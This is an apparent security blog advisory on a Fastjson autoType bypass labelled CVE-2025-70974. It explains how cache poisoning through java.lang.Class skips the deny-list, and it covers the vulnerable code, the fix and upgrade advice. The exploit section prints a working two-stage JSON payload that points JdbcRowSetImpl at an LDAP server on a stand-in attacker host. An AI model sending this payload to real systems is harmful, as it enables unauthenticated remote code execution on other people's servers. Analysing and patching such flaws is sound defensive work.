CVE-2025-70974

Fastjson RCE: The 'Safe' Cache That Killed Your Server

Alon Barad
Alon Barad
Software Engineer

Jan 10, 2026·6 min read

Executive Summary (TL;DR)

Attackers can bypass Fastjson's `autoType` protection by using a two-stage JSON payload. The first stage uses `java.lang.Class` to force a malicious class into the internal cache. The second stage instantiates that class, bypassing the blacklist check because the parser trusts cached classes blindly. This results in JNDI injection and full system takeover.

A critical deserialization vulnerability in Alibaba Fastjson < 1.2.48 allows attackers to bypass security checks by poisoning the internal class cache, leading to unauthenticated remote code execution (RCE) via JNDI injection.

The Hook: The Zombie CVE

Welcome to the resurrection of one of the most notorious Java vulnerabilities of the last decade. If you're scratching your head wondering why a 2019 vulnerability (CNVD-2019-22238) just got a shiny new 2025 CVE ID, you aren't alone. This is the technical equivalent of a zombie movie—just when you thought the autoType bypass was dead and buried, it shuffles back into the spotlight to eat your production servers.

Alibaba's Fastjson is the speed demon of Java JSON parsers. Developers love it because it's fast. Security researchers love it because it effectively turns JSON input into a remote shell generator. The core issue lies in Fastjson's ability to deserialize arbitrary Java objects (polymorphism). To keep things 'safe', Fastjson implemented an autoType check—a bouncer at the door checking a blacklist of dangerous classes.

CVE-2025-70974 (formerly the 1.2.47 bypass) is the story of how that bouncer was tricked. It didn't involve complex memory corruption or buffer overflows. It was a logical sleight of hand: the attackers realized that if they could sneak a class into the VIP lounge (the internal cache) through the back door, the bouncer at the front door would assume they belonged there and wave them through. This is a story about cache poisoning, logical fallacies, and why trusting your own internal state is a dangerous game.

The Flaw: Trusting the Cache

To understand this exploit, you have to understand how Fastjson decides what is safe to deserialize. In versions prior to 1.2.48, the checkAutoType method had a fatal flaw in its order of operations. It was designed to prevent the instantiation of dangerous classes (like com.sun.rowset.JdbcRowSetImpl), but it had a massive loophole.

Here is the simplified logic flow of the vulnerable parser:

  1. Check autoType setting: If enabled, proceed. If disabled, apply strict checks.
  2. Check the Cache: Look up the requested class name in TypeUtils.mappings.
  3. The Fatal Mistake: If the class is found in the cache, return it immediately, bypassing the blacklist check.
  4. Blacklist Check: If not in cache, check if the class is on the deny-list.

The logic assumes that if a class is in the mapping cache, it must have been legitimately loaded and vetted previously. It treats the cache as a source of truth. The vulnerability is that the cache is mutable by the user during the parsing process itself. If an attacker can force the parser to load a malicious class into that cache before the blacklist check runs on the malicious payload, the check is skipped entirely.

The Code: The Smoking Gun

Let's look at the crime scene. The vulnerability exists in com.alibaba.fastjson.parser.ParserConfig. Specifically, the checkAutoType method. In version 1.2.47, the code looks something like this:

// Vulnerable logic in ParserConfig.java
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
    // ... (omitted logic)
 
    // 1. Check if the class is already in the mapping cache
    Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
    if (clazz == null) {
        clazz = deserializers.findClass(typeName);
    }
 
    // 2. IF FOUND IN CACHE, RETURN IMMEDIATELY
    // This effectively bypasses the security check below
    if (clazz != null) {
        if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
           // ... error handling
        }
        return clazz;
    }
 
    // 3. Security checks (Blacklist/Whitelist) happen HERE, too late!
    if (!autoTypeSupport) {
        // ... iterate denyList ...
    }
    // ...
}

The fix in 1.2.48 was subtle but decisive. Alibaba changed the default behavior of MiscCodec (which handles java.lang.Class) to stop populating the cache by default, and modified checkAutoType to re-verify cached classes against the blacklist if autoType is disabled.

In MiscCodec.java (the mechanism used to poison the cache), the call to TypeUtils.loadClass was changed:

// 1.2.47 (Vulnerable)
TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); // Defaults to cache=true
 
// 1.2.48 (Fixed)
TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false); // Explicit cache=false

The Exploit: How to Poison the Well

The exploit requires a single JSON payload with two distinct parts. Fastjson parses JSON sequentially. We use the first part of the JSON to manipulate the parser's internal state (the cache), and the second part to trigger the bomb.

The Mechanism

  1. Stage 1: The Loader. We use java.lang.Class. This class is allowed by default because it's fundamental to Java. When Fastjson deserializes java.lang.Class, it reads the value (e.g., com.sun.rowset.JdbcRowSetImpl) and calls loadClass on it. In 1.2.47, this side-effect adds JdbcRowSetImpl to the global TypeUtils.mappings cache.
  2. Stage 2: The Trigger. Now that JdbcRowSetImpl is in the cache, we reference it directly. The parser sees it in the cache, skips the blacklist check, and deserializes it.
  3. The Payload: The JdbcRowSetImpl class is a classic JNDI gadget. We set its dataSourceName to an attacker-controlled LDAP server and autoCommit to true. This triggers a lookup to our server, which returns a malicious class file.
{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://evil-server.com:1389/Exploit", 
        "autoCommit": true
    }
}

The Attack Flow

The Impact: Why This Matters

This vulnerability is a 10.0 Critical. It requires no authentication, no special configuration (it works even if autoType is officially disabled), and it affects the default configuration of the library. If you have a Fastjson endpoint exposed to the internet, you are vulnerable.

The impact is total system compromise. The attacker executes code with the privileges of the Java process. In containerized environments running as root, this means container escape is the next logical step. In enterprise environments, this is often the initial access point for ransomware groups.

Botnets like Androxgh0st have been actively scanning for this exact pattern. They automate the process: scan for Fastjson, send the cache-poisoning payload, pull down a shell, and exfiltrate AWS keys or deploy crypto miners. The fact that this vulnerability relies on java.lang.Class means it uses built-in Java functionality against itself, making it highly reliable across different environments.

The Fix: Closing the Back Door

The remediation is straightforward but urgent. You cannot configure your way out of this with Fastjson 1.2.47. You must upgrade.

  1. Upgrade: Update to Fastjson 1.2.48 or later immediately. Ideally, move to the latest version (e.g., 1.2.83) because Fastjson has had many other bypasses since 1.2.48.
  2. SafeMode: If you are on version 1.2.68 or higher, you can enable SafeMode. This nuclear option completely disables the autoType feature, ignoring all whitelists and caches. This breaks polymorphism but secures the application.
    ParserConfig.getGlobalInstance().setSafeMode(true);
  3. Migrate: If feasible, move to Jackson or Gson. While no library is perfect, Fastjson's design philosophy of "autotyping" has historically been a minefield of security issues.

Fix Analysis (1)

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.06%
Top 80% most exploited
15,000
via Shodan

Affected Systems

Java Applications using FastjsonSpring Boot applications with Fastjson configuredLegacy Enterprise Java Middleware

Affected Versions Detail

Product
Affected Versions
Fixed Version
fastjson
Alibaba
< 1.2.481.2.48
AttributeDetail
Attack VectorNetwork (JSON Payload)
CVSS10.0 (Critical)
Exploit StatusWeaponized / Active
WeaknessCWE-502 / CWE-829
PrerequisitesNone (Unauthenticated)
ImpactRemote Code Execution (System Takeover)
CWE-829
Inclusion of Functionality from Untrusted Control Sphere

The software includes functionality from an untrusted source or control sphere, effectively bypassing security checks by relying on a tainted cache.

Vulnerability Timeline

Vulnerability discovered (originally tracked as CNVD-2019-22238)
2019-07-05
Fastjson 1.2.48 released with fix
2019-07-10
Widespread exploitation by Androxgh0st botnet
2023-01-01
Assigned CVE-2025-70974
2025-02-01

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.